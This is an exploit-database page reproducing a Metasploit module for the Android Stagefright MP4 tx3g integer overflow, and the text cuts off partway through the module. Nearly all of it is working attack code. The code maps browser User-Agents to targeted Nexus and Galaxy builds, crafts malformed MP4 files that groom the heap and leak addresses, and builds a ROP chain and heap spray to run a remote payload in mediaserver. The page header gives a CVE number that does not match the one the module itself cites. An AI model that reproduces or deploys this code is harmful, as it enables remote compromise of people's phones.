Advertisement






Android Stagefright MP4 tx3g Integer Overflow

CVE Category Price Severity
CVE-2016-2428 CWE-190 $5,000 - $50,000 Critical
Author Risk Exploitation Type Date
Trend Micro Zero Day Initiative Critical Remote 2016-09-27
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016090194

Below is a copy:

Android Stagefright MP4 tx3g Integer Overflow##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Android Stagefright MP4 tx3g Integer Overflow",
      'Description'    => %q{
          This module exploits a integer overflow vulnerability in the Stagefright
        Library (libstagefright.so). The vulnerability occurs when parsing specially
        crafted MP4 files. While a wide variety of remote attack vectors exist, this
        particular exploit is designed to work within an HTML5 compliant browser.

          Exploitation is done by supplying a specially crafted MP4 file with two
        tx3g atoms that, when their sizes are summed, cause an integer overflow when
        processing the second atom. As a result, a temporary buffer is allocated
        with insufficient size and a memcpy call leads to a heap overflow.

          This version of the exploit uses a two-stage information leak based on
        corrupting the MetaData that the browser reads from mediaserver. This method
        is based on a technique published in NorthBit's Metaphor paper. First,
        we use a variant of their technique to read the address of a heap buffer
        located adjacent to a SampleIterator object as the video HTML element's
        videoHeight. Next, we read the vtable pointer from an empty Vector within
        the SampleIterator object using the video element's duration. This gives
        us a code address that we can use to determine the base address of
        libstagefright and construct a ROP chain dynamically.

        NOTE: the mediaserver process on many Android devices (Nexus, for example) is
        constrained by SELinux and thus cannot use the execve system call. To avoid
        this problem, the original exploit uses a kernel exploit payload that disables
        SELinux and spawns a shell as root. Work is underway to make the framework
        more amenable to these types of situations. Until that work is complete, this
        exploit will only yield a shell on devices without SELinux or with SELinux in
        permissive mode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          # Exodus/jordan # initial discovery / disclosure
          'jduck',     # Metasploit module, further infoleak development
          'NorthBit'   # intiial information leak implementation
        ],
      'References'     =>
        [
          [ 'CVE', '2015-3864' ],
          [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
          [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
          [ 'URL', 'https://github.com/NorthBit/Metaphor' ],
          # Not used, but related
          [ 'URL', 'http://drops.wooyun.org/papers/7558' ],
          [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
        ],
      'Payload'        =>
        {
          'Space'    => 2048,
          'DisableNops' => true,
        },
      #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },
      'Platform'       => 'linux',
      'Arch'           => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          #
          # Each target includes information about the device, firmware, and
          # how exactly to about exploiting it.
          #
          # Primarily, these targets are used to map a browser's User-Agent to
          # exploit specifics for that device / build.
          #
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX21P',
              'Release' => '5.0',
              'Rop' => 'lrx',
              'SprayAddress' => 0xb1508000
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22G',
              'Release' => '5.0.2',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47O',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47V',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY48G',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22G',
              'Release' => '5.0.2',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47O',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47V',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LRX21O',
              'Release' => '5.0',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY47D',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY47I',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY48B',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LRX21O',
              'Release' => '5.0',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47D',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47E',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47I',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LYZ28E',
              'Release' => '5.1.1',
              'Rop' => 'shamu / LYZ28E'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47M',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47Z',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LVY48C',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LYZ28J',
              'Release' => '5.1.1',
              'Rop' => 'shamu / LYZ28J'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LVY48E',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
            {
              'Model' => 'SM-G900V',
              'Build' => 'LRX21T',
              'Release' => '5.0',
              'Rop' => 'sm-g900v / OE1',
              'SprayAddress' => 0xaf008000,
              'SampleIteratorSize' => 0xa8,
              'VectorSize' => 0xec
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Aug 13 2015",
      'DefaultTarget'  => 0))

=begin
    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
=end
  end

  def exploit
    @peers = {}
    super
  end

  def get_target(request)
    agent = request.headers['User-Agent']
    self.targets.each do |t|
      next if t.name == 'Automatic'
      regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
      return t if (agent =~ /#{regexp}/)
    end
    return nil
  end

  #
  # Construct a page worth of data that we'll spray
  #
  # NOTE: The data within is target-specific
  #
  def build_spray(my_target, peer, spray_addr)
    # Initialize the page to a reasonable state.
    page = ''
    page = rand_text(4096)

    # Load target-based exploit-specific variables
    details = get_details(my_target)
    return nil if details.nil?

    # Calculate the libstagefright.so base address
    vector_rva = details['VectorRVA']
    vector_ptr = peer[:vector_vtable_addr]
    libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)

    # If we smash mDataSource, this ends up controlling the program counter!!
=begin
    0xb65fd7c4 <parseChunk(long long*, int)+4596>:      ldr     r2, [r0, #0]
    0xb65fd7c6 <parseChunk(long long*, int)+4598>:      str     r1, [sp, #0]
    0xb65fd7c8 <parseChunk(long long*, int)+4600>:      ldr     r5, [r7, #0]
    0xb65fd7ca <parseChunk(long long*, int)+4602>:      str     r5, [sp, #4]
    0xb65fd7cc <parseChunk(long long*, int)+4604>:      ldr     r6, [r2, #28]
    0xb65fd7ce <parseChunk(long long*, int)+4606>:      ldrd    r2, r3, [r10]
    0xb65fd7d2 <parseChunk(long long*, int)+4610>:      blx     r6
    0xb65fd7d4 <parseChunk(long long*, int)+4612>:      ldrd    r2, r3, [sp, #64]       ; 0x40
=end

    # Initialize our pivot values and adjust them to libstagefright's base.
    # First, load r0 (pointer to our buffer) into some register..
    mds_pivot1 = libsf_base + details['Pivot1']

    # Next, load sp (and probably other stuff) from there
    mds_pivot2 = libsf_base + details['Pivot2']

    # Finally, skip over some stuff and kick of the ROP chain
    mds_adjust = libsf_base + details['Adjust']

    # The offset to the ROP change beginning
    rop_start_off = 0x30

    # Point sp to the remainder of the ROP chain
    new_sp = spray_addr + rop_start_off

    # Sometimes the spray isn't aligned perfectly, this fixes that situation...
    unalign_off = 0x998
    new_sp2 = new_sp + 0x1000 - unalign_off

    # This pointer should point to the beginning of the shellcode payload
    payload_ptr = spray_addr + 0xa0

    # Put the stack back!
    stack_fix = "\x0a\xd0\xa0\xe1"  # mov sp, r10 ; restore original sp

    # Depending on the pivot strategy in use, we have to set things up slightly
    # differently...
    #
    # In each case, we use a two-stage pivot that reads the spray address from
    # r0 (we smashed that, remember).
    #
    # The addroffs array is used to map values to the offsets where the pivots
    # expect them to be.
    #
    case details['PivotStrategy']
    when 'lrx'
      addroffs = [
        [ 0x0, new_sp ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ],
      ]

      # Since we are only popping one item in pivot2, we reduce the rop_start_off
      rop_start_off -= 4

      # Adjust the payload pointer
      payload_ptr -= 4

    when 'lmy-1'
      addroffs = [
        [ 0x8, new_sp ],
        [ 0xc, mds_adjust ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ]
      ]

    when 'lmy-2'
      ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18  # adjust for displacement
      addroffs = [
        [ 0x0, ptr_to_mds_pivot2 ],
        [ 0x8, new_sp ],
        [ 0xc, mds_adjust ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ]
      ]

      stack_fix = "\x09\xd0\xa0\xe1"  # mov sp, r9 ; restore original sp

    when 'lyz'
      ptr_to_mds_pivot2 = spray_addr + 0x8
      addroffs = [
        [ 0x0, ptr_to_mds_pivot2 ],
        [ 0x8, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ],
        [ 0x24, new_sp ],
        # lr is at 0x28!
        [ 0x2c, mds_adjust ]
      ]

      # We can't fix it becuse we don't know where the original stack is anymore :-/
      stack_fix = ""

    when 'sm-g900v'
      addroffs = [
        [ 0x4, mds_adjust ],
        [ 0x10, new_sp ],
        [ 0x1c, mds_pivot1 ],
        [ 0x20, mds_pivot2 ]
      ]

    else
      print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
      return nil
    end

    # We need our ROP to build the page... Create it.
    rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })

    # Fix up the payload pointer in the ROP
    idx = rop.index([ 0xc600613c ].pack('V'))
    rop[idx, 4] = [ payload_ptr ].pack('V')

    # Insert the ROP
    page[rop_start_off, rop.length] = rop

    # Insert the special values...
    addroffs.each do |ao|
      off,addr = ao
      page[off,4] = [ addr ].pack('V')

      # Sometimes the spray isn't aligned perfectly...
      if addr == new_sp
        page[off+unalign_off,4] = [ new_sp2 ].pack('V')
      else
        page[off+unalign_off,4] = [ addr ].pack('V')
      end
    end

    page
  end

  #
  # MPEG-4 specific functionality
  #
  def get_atom(tag, data='', length=nil)
    if tag.length != 4
        raise 'Yo! They call it "FourCC" for a reason.'
    end

    length ||= data.length + 8
    if length >= 2**32
      return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
    end
    [ [ length ].pack('N'), tag, data ].join
  end

  def get_stsc(num)
    stsc_data = [ 0, num ].pack('N*')  # version/flags, mNumSampleToChunkOffsets
    stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
    get_atom('stsc', stsc_data)
  end

  def get_ftyp
    # Build the MP4 header...
    ftyp = 'mp42'
    ftyp << [ 0 ].pack('N')
    ftyp << 'mp42'
    ftyp << 'isom'
    get_atom('ftyp', ftyp)
  end

  def get_pssh(alloc_size)
    pssh_data = ''
    pssh_data << [ 0 ].pack('N')
    pssh_data << [ 0, 0, 0, 0 ].pack('N*')
    pssh_data << [ alloc_size ].pack('N')
    alloc_size.times do |off|
      pssh_data << [ 0x55aa0000 + off ] .pack('V')
    end
    get_atom('pssh', pssh_data)
  end

  def get_metaitem(tag, type, data)
    ret = ''
    ret << tag.reverse
    ret << type.reverse
    case type
    when 'in32'
      ret << [ 4, data ].pack('V*')
    when 'in64'
      ret << [ 8, data ].pack('V*')
    else
      raise "How do you expect me to make a #{type.inspect} ??"
    end
    ret
  end

  def jemalloc_round(sz)
    # These are in the 16-byte aligned runs
    if (sz > 0x10 && sz <= 0x80)
      round = 16
    # 160 starts the 32-byte aligned runs
    elsif (sz > 0x80 && sz <= 0x140)
      round = 32
    else
      raise "Don't know how to round 0x%x" % sz
    end
    ret = (sz + (round - 1)) / round
    ret *= round
    return ret
  end

  #
  # Leak data from mediaserver back to the browser!
  #
  # Stage 1 - leak a heap pointer near a SampleIterator object
  # Stage 2 - read a code pointer from the SampleIterator object
  #
  def get_mp4_leak(my_target, peer)
    # MPEG4 Fileformat Reference:
    # http://qtra.apple.com/index.html
    #
    # Structure:
    # [File type Chunk][Other Atom Chunks]
    #
    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
    #
    sampiter_alloc_size = 0x78
    sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
    sampiter_rounded = jemalloc_round(sampiter_alloc_size)
    vector_alloc_size = 0x8c
    vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
    groom_count = 0x10

    is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')

    # Coerce the heap into a favorable shape (fill holes)
    shape_vector = get_pssh(vector_alloc_size)

    # Allocate a block of memory of the correct size
    placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))

    # Make the first tx3g chunk, which is meant to overflow into a MetaData array.
    # We account for the overhead of both chunks here and aim for this layout:
    #
    # placeholder after re-allocation                     | vector array data
    # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
    #
    # Realistically, tx3g1_padding can be any number that rounds up to the
    # correct size class.
    tx3g1_overhead = 0x8
    tx3g2_overhead = 0x10
    tx3g_target = jemalloc_round(vector_alloc_size)
    tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
    tx3g_data = 'x' * tx3g1_padding
    tx3g_1 = get_atom('tx3g', tx3g_data)

    # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
    # avcC was in the initial commit.
    near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)

    # Craft the data that will overwrite the header and part of the MetaData
    # array...
    more_data = ''
    more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')

    # Now add the thing(s) we want to control (partially)
    #
    # We add some BS entries just to kill the real 'heig' and get proper
    # ordering...
    near_sampiter_addr = peer[:near_sampiter_addr]
    if near_sampiter_addr.nil?
      # Part 1. Leak the address of a chunk that should be adjacent to a
      # SampleIterator object.
      if is_samsung
        # On Samsung:
        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
        # After:  dmcE, abc1, abc2, abc3, heig...
        more_data << get_metaitem('dmcE', 'in32', 1)
        more_data << get_metaitem('abc1', 'in32', 31335)
        more_data << get_metaitem('abc2', 'in32', 31336)
      end

      # On Nexus:
      # Before: heig, hvcc, inpS, mime, text, widt
      # After:  abc3, heig...
      more_data << get_metaitem('abc3', 'in32', 31337)

      # NOTE: We only use the first 12 bytes so that we don't overwrite the
      # pointer that is already there!
      heig = get_metaitem('heig', 'in32', 31338)
      more_data << heig[0,12]
    else
      # Part 2. Read from the specified address, as with the original Metaphor
      # exploit.
      if is_samsung
        # On Samsung:
        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
        # After:  dmcE, dura, ...
        more_data << get_metaitem('dmcE', 'in32', 1)
      else
        # On Nexus:
        # Before: avcc, heig, inpS, mime, text, widt
        # After:  dura, ...
        near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
      end

      # Try to read the mCurrentChunkSampleSizes vtable ptr within a
      # SampleIterator object. This only works because the Vector is empty thus
      # passing the restrictions imposed by the duration conversion.
      ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
      more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
    end

    # The tx3g2 then needs to trigger the integer overflow, but can contain any
    # contents. The overflow will terminate at the end of the file.
    #
    # NOTE: The second tx3g chunk's overhead ends up in the slack space between
    # the replaced placeholder and the MetaData Vector contents.
    big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
    tx3g_2 = get_atom('tx3g', more_data, big_num)

    # Create a minimal, verified 'trak' to satisfy mLastTrack being set
    stbl_data = get_stsc(1)
    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets
    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes
    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount
    stbl = get_atom('stbl', stbl_data)
    verified_trak = get_atom('trak', stbl)

    # Start putting it all together into a track.
    trak_data = ''

    if is_samsung
      # Put some legitimate duration information so we know if we failed
      mdhd_data = [ 0 ].pack('N')     # version
      mdhd_data << "\x00" * 8         # padding
      mdhd_data << [ 1 ].pack('N')    # timescale
      mdhd_data << [ 314 ].pack('N')  # duration
      mdhd_data << [ 0 ].pack('n')    # lang
      trak_data << get_atom('mdhd', mdhd_data)
    end

    # Add this so that our file is identified as video/mp4
    mp4v_data = ''
    mp4v_data << [ 0 ].pack('C') * 24 # padding
    mp4v_data << [ 1024 ].pack('n')   # width
    mp4v_data << [ 768 ].pack('n')    # height
    mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length)  # padding
    trak_data << get_atom('mp4v', mp4v_data)  # satisfy hasVideo = true

    # Here, we cause allocations such that we can replace the placeholder...
    if is_samsung
      trak_data << placeholder   # Somethign we can free
      trak_data << shape_vector  # Eat the loose block...
      trak_data << stbl          # Cause the growth of the track->meta Vector
    else
      trak_data << stbl          # Cause the growth of the track->meta Vector
      trak_data << placeholder   # Somethign we can free
      trak_data << shape_vector  # Eat the loose block...
    end

    # Add the thing whose entry in the MetaData vector we want to overwrite...
    trak_data << near_sampiter

    # Get our overflow data into memory
    trigger = ''
    trigger << tx3g_1

    # Free the place holder
    trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))

    # Overflow the temporary buffer into the following MetaData array
    trigger << tx3g_2

    # !!! NOTE !!!
    # On Samsung devices, the failure that causes ERR to be returned from
    # 'tx3g' processing leads to "skipTrack" being set. This means our
    # nasty track and it's metadata get deleted and not returned to the
    # browser -- effectively killing the infoleak.
    #
    # However! It also handles "skipTrack" being set specially and does not
    # immediately propagate the error to the caller. Instead, it returns OK.
    # This allows us to triggering the bug multiple times in one file, or --
    # as we have in this case -- survive after and return successfully.
    if is_samsung
      # Add this as a nested track!
      trak_data << get_atom('trak', trigger)
    else
      trak_data << trigger
    end
    trak = get_atom('trak', trak_data)

    # On Samsung devices, we could put more chunks here but they will
    # end up smashing the temporary buffer further...

    chunks = []
    chunks << get_ftyp()
    chunks << get_atom('moov')
    chunks << verified_trak * 0x200
    chunks << shape_vector * groom_count
    chunks << trak

    mp4 = chunks.join
    mp4
  end

  def get_mp4_rce(my_target, peer)
    # MPEG4 Fileformat Reference:
    # http://qtra.apple.com/index.html
    #
    # Structure:
    # [File type Chunk][Other Atom Chunks]
    #
    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
    #
    chunks = []
    chunks << get_ftyp()

    # Note, this causes a few allocations
    moov_data = ''
    mvhd_data = [ 0, 0x41414141 ].pack('N*')
    mvhd_data << 'B' * 0x5c
    moov_data << get_atom('mvhd', mvhd_data)

    # Add a minimal, verified 'trak' to satisfy mLastTrack being set
    verified_trak = ''
    stbl_data = get_stsc(0x28)
    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets
    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes
    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount
    verified_trak << get_atom('trak', get_atom('stbl', stbl_data))

    # Add it to the file
    moov_data << verified_trak

    # The spray_addr field is typically determined empirically (by testing), but
    # has proven to be fairly predictable (99%). However, it does vary from
    # one device to the next (probably determined by the pre-loaded libraries).
    spray_addr = 0xb0c08000
    spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?

    # Construct a single page that we will spray
    page = build_spray(my_target, peer, spray_addr)
    return nil if page.nil?

    # Build a big block full of spray pages and and put it in an avcC chunk
    # (but don't add it to the 'moov' yet)
    spray = page * (((16 * 1024 * 1024) / page.length) - 20)
    avcc = get_atom('avcC', spray)

    # Make the nasty trak
    tkhd1 = ''
    tkhd1 << [ 0 ].pack('C')  # version
    tkhd1 << 'D' * 3          # padding
    tkhd1 << 'E' * (5*4)      # {c,m}time, id, ??, duration
    tkhd1 << 'F' * 0x10       # ??
    tkhd1 << [
      0x10000,  # a00
      0,        # a01
      0,        # dx
      0,        # a10
      0x10000,  # a11
      0         # dy
    ].pack('N*')
    tkhd1 << 'G' * 0x14       # ??

    # Add the tkhd (track header) to the nasty track
    trak1 = ''
    trak1 << get_atom('tkhd', tkhd1)

    # Build and add the 'mdia' (Media information) to the nasty track
    mdia1 = ''
    mdhd1 = [ 0 ].pack('C')  # version
    mdhd1 << 'D' * 0x17      # padding
    mdia1 << get_atom('mdhd', mdhd1)
    mdia1 << get_atom('hdlr', 'F' * 0x38)  # Media handler
    dinf1 = ''
    dinf1 << get_atom('dref', 'H' * 0x14)  # Data information box
    minf1 = ''
    minf1 << get_atom('smhd', 'G' * 0x08)
    minf1 << get_atom('dinf', dinf1)
    stbl1 = get_stsc(2)
    minf1 << get_atom('stbl', stbl1)
    mdia1 << get_atom('minf', minf1)
    trak1 << get_atom('mdia', mdia1)

    # Add something to take up a slot in the 0x20 size range
    # NOTE: We have to be able to free this later...
    block = 'Q' * 0x1c
    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))

    # Add a Track (hopefully right after)
    trak1 << verified_trak

    # Add the avcC chunk with the heap spray. We add it here so it's sure to be
    # allocated when we get control of the program counter...
    trak1 << avcc

    # Build the first of the nasty pair of tx3g chunks that trigger the
    # vulnerability
    alloc_size = 0x20
    overflow_size = 0xc0

    overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
    tx3g_1 = get_atom('tx3g', overflow)
    trak1 << tx3g_1

    # Free the original thing and put the tx3g temporary in it's place...
    block = 'R' * 0x40
    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))

    # Make the second one, which triggers the integer overflow
    big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
    more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
    tx3g_2 = get_atom('tx3g', more_data, big_num)
    trak1 << tx3g_2

    # Add the nasty track to the moov data
    moov_data << get_atom('trak', trak1)

    # Finalize the moov chunk
    moov = get_atom('moov', moov_data)
    chunks << moov

    # Combine outer chunks together and voila.
    mp4 = chunks.join
    mp4
  end

  def on_request_uri(cli, request)
    # If the request is for an mp4 file, we need to get the target from the @peers hash
    if request.uri =~ /.mp4?/i
      mp4_fn = request.uri.split('/')[-1]
      mp4_fn = mp4_fn.split('?')[0]
      mp4_fn[-4,4] = ''

      peer = @peers[mp4_fn]

      my_target = nil
      my_target = peer[:target] if peer
      if my_target.nil?
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
        return
      end

      # Extract the address(s) we just leaked...
      sia_addr = request.qstring['sia'].to_i  # near_sampiter data address
      peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
      sfv_addr = request.qstring['sfv'].to_i  # stagefright Vector<size_t> vtable ptr
      peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
      # reset after a crash..
      if sia_addr == 0 && sfv_addr == 0
        peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
      end

      # Always use this header
      out_hdrs = {'Content-Type'=>'video/mp4'}

      if peer[:vector_vtable_addr].nil?
        # Generate the nasty MP4 to leak infoz
        mode = "infoleak"
        mp4 = get_mp4_leak(my_target, peer)
      else
        mode = "RCE"
        mp4 = get_mp4_rce(my_target, peer)
        if mp4.nil?
          send_not_found(cli)
          print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
          return
        end
      end

      # Send the nasty MP4 file to trigger the vulnerability
      if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
        mp4 = Rex::Text.gzip(mp4)
        out_hdrs.merge!('Content-Encoding' => 'gzip')
        gzip = "gzip'd"
      else
        gzip = "raw"
      end

      client = "Browser"
      if request.headers['User-Agent'].include? 'stagefright'
        client = "SF"
      end

      addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]

      print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")

      # Send the nastiness!
      send_response(cli, mp4, out_hdrs)
      return
    end

    # Initialize a target. If none suitable, then we don't continue.
    my_target = target
    if my_target.name =~ /Automatic/
      my_target = get_target(request)
      if my_target.nil?
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
        return
      end
      vprint_status("Target selected: #{my_target.name}")
    end

    # Generate an MP4 filename for this peer
    mp4_fn = rand_text_alpha(11)

